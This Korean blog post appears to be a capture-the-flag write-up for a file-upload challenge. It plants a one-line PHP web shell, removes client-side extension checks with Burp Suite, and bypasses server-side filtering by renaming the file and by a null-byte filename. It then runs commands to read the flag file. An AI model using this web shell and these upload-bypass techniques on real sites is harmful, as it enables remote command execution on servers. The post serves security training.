회원가입 진행
아이디 : as
비밀번호 : as
공격 파일 생성
웹 쉘 생성
텍스트파일 생성
<?php
echo system($_GET['cmd']);
?>
확인 후 파일명 test.php 변경(확장자까지 변경)
공격 시작
게시판에 업로드 기능 구현 되어있는 것 확인.
생성 한 test.php 를 업로드 해보자.
파일 올려놓고, create 클릭 해보자.
create 버튼 클릭 하자마자, 자바스크립트의 alert 함수가 리턴이 되는 것을 확인.
자바스크립트로 확장자가 필터링 되는지 확인해보자.
게시판 - 글쓰기 버튼 클릭(누르기 전에 burp suite 로 요청 잡기)
burp suite - Proxy - Intercept - Intercept is off 로 요청/응답 잡아보자.
글쓰기 요청 후 리스폰스를 확인해보니, 자바스크립트로 확장자가 필터링 되는 것이 확인이 된다.
<script type="text/javascript">
function checkFileExtension(fileName) {
var reg = /(.*?)\\.(jpg|jpeg|png|gif|bmp|txt)$/; // 파일명에서 확장자를 추출하는 정규식
var allowedExtensions = /(\\.jpg|\\.jpeg|\\.png|\\.gif)$/i; // 허용된 확장자들을 검증하는 정규식
if (fileName == "") {
return true; // 파일명이 비어있으면 통과
}
if (!allowedExtensions.test(fileName)) { // 파일명이 허용된 확장자 패턴과 매치되지 않으면
alert('업로드할 수 없는 확장자의 파일입니다.');
writeFrm.upload_file.value = ''; // 파일 업로드 필드 초기화
return false; // 업로드 금지
} else {
return true; // 허용된 확장자이므로 통과
}
return true; // 예기치 않은 상황에 대비해 기본적으로 통과
}
</script>
그러면?
버프 스위트에서 글쓰기 페이지를 요청을 하고 리턴으로 리스폰스 페이지를 받을 떄
위의 스크립트를 한번 지워볼까?
burp suite - Proxy - Intercept - Intercept is off
글쓰기 페이지 요청(게시판에서 글쓰기 버튼 클릭)
->리퀘스트 요청 라인 참고 : GET /webshell_2/notice_write.php HTTP/1.1
삭제 후 Forward 클릭하여 정상적으로 페이지를 받아오는지 확인해보자.
자바스크립트 코드가 없어진 상태에서 잘 받아서 동작한다.
그럼 여기에 test.php가 올라가는지 확인해보자.
파일선택 - tset.php - 확인 - create 클릭
정상적으로 버프 스위트에서 서버쪽으로 리퀘스트가 가는걸 확인 가능하다.
게시판 페이지인 notice_write.php 에서만 자바스크립트로 확장자 필터링을 하는거면?
이대로 보내도, 정상 등록 될 것이다.
하지만 현재 요청 하고있는 notice_write_process.php 파일에서도 확장자 필터링을
하고 있다면 등록이 안될 것 같다.
한번 보내보자.
글 작성에는 성공했지만, 확장자가 필터링 되었다. ( notice_write_process.php 파일에서 필터링 )
alert 두번 발생...
작성은 됬다고 하니, 게시판글이 어떻게 표시 되는지 한번 확인해보자.
업로드 기능이 사라지고, 게시판 글만 남았다.
음.. 그러면 요청 데이터에서
filename="test.php"
를 뒤에 확장자를 바꿔볼까?
filename="test.jpg"
로 변경해서 업로드를 해보자.
변경 후 Forward
업로드 성공!
성공했으니, 업로드한 게시글을 들어가서 서버에 등록 된 경로를 찾아야한다.
Download 버튼의 마우스를 올려놓으면 좌측하단의 업로드된 URL 경로가 나오고
Download 버튼 - 마우스 우클릭 - 링크 주소 복사 를 통해서 URL을 획득 할 수 있다.
문제는 test.jpg 로올렸기때문에
URL도 test.jpg 로 표시 된다.
하지만 실제 올라간 파일은 확장자가 .php 이기떄문에
복사한 URL 에서 확장자를 .php 로 바꿔서 공격을 해보자.
변경전 URL
http://ctf.segfaulthub.com:7979/webshell_2/files/as/test.jpg
변경후 URL
http://ctf.segfaulthub.com:7979/webshell_2/files/as/test.php
변경전 URL로 요청을 한번 해보자.
이렇게 없는 이미지로 요청이 됨.
변경 후 URL을 통해서 공격 (test.php)
해당 서버의 id 명령어가 먹힌다.
그럼 이제 이 서버의 flag.txt 파일을 찾아야 한다.
find / -name flag.txt 으로 검색해서 찾아보자.
경로 찾았다.
/app/webshell_2/secret_file/flag.txt
cat /app/webshell_2/secret_file/flag.txt 명령
플래그 획득 성공!!
또다른 공격 성공 사례 (널바이트 사용)
notice_write.php 에서 실행되어 클라이언트로 오는 리스폰스 데이터에서
자바스크립트를 지우고 글쓰기 페이지를 받는 것은 위와 같다.
글쓰기 페이지 - test.php 파일을 업로드 - create - notice_write_precess.php 로 요청하는 데이터에서
filename 의 값을 test1.php%00.jpg 로 변경 해보자.
정상적으로 글이 작성 되었다.
그러면 업로드된 경로는
http://ctf.segfaulthub.com:7979/webshell_2/files/as/test.php%00.jpg
도 획득이 되는데,
http://ctf.segfaulthub.com:7979/webshell_2/files/as/test.php?cmd=id
로 공격을 해보면, 정상적으로 공격이 성공 한다.
'웹 해킹' 카테고리의 다른 글
Web Shell 3 (파일업로드 문제 3) (0) | 2024.07.25 |
---|---|
Web Shell 1 (파일업로드 문제 1) (0) | 2024.07.25 |
파일 업로드 공격 (0) | 2024.07.25 |
SOP / CORS (0) | 2024.07.25 |
CSRF (0) | 2024.07.25 |